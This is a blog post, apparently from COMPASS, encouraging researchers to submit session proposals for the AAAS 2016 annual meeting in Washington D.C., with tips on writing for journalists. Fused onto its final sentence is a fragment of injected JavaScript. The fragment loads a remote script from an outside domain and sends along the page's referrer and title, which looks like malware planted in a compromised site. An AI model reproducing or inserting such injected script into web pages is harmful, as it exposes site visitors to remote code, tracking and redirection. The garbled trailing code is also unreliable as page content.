Prepare To Engage At AAAS 2016

Screen Shot 2015-04-02 at 10.54.55 AMWe are beginning to see the first few signs of spring here in Washington D.C. and are eagerly anticipating the famed cherry blossoms. It’s also the time of year to prepare for the annual American Association for the Advancement of Science (AAAS) conference. In 2016, it will be held in Washington D.C. from February 11-15. As you might be aware, the submission deadline for sessions is Friday April 24, 2015. Over the next three weeks, we hope you consider proposing a session or planning to attend.

The AAAS Annual Meeting offers an unparalleled opportunity to communicate your research results to science journalists from around the world, particularly from the United States and the United Kingdom. The annual meeting attracts between 700 and 1000 newsroom registrants each year, usually about 10% of total attendance. Given this year’s theme of Global Science Engagement, we expect that there will be lots of discussion about collaboration, international work, and the theory and practice of science engagement. The Washington D.C. location will offer a chance to not only be a part of those conversations, but to actually put your skills to practice to engage and share your research with a huge range of policy and decision makers.

If you have new research findings that have not yet been widely covered in the press, or results in the pipeline that will be ready next February, we encourage you to submit a proposal. To get you started, the AAAS website has additional information and detailed submission instructions: https://aaas.confex.com/aaas/2016/cfp.cgi.

When writing your session proposal for AAAS, we encourage you to keep the following things in mind:

  • Successful proposals typically include exciting work of interest to the public.
  • Keep journalists in mind as an important audience. Your original language tends to stick, so spend time developing a catchy title and synopsis that will stand out and draw journalists’ attention.
  • The description must be strong enough to pass AAAS science review, yet written with lively, interesting, and straightforward language to make it accessible to those outside your field.
  • AAAS looks favorably on interdisciplinary proposals as well as those with international representation, especially given this year’s theme.

Please contact us if you have any questions. Let us know if your proposal is selected, and especially if you are granted a press conference, as COMPASS may be able to help you prepare. We hope to see you in DC for AAAS next year!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;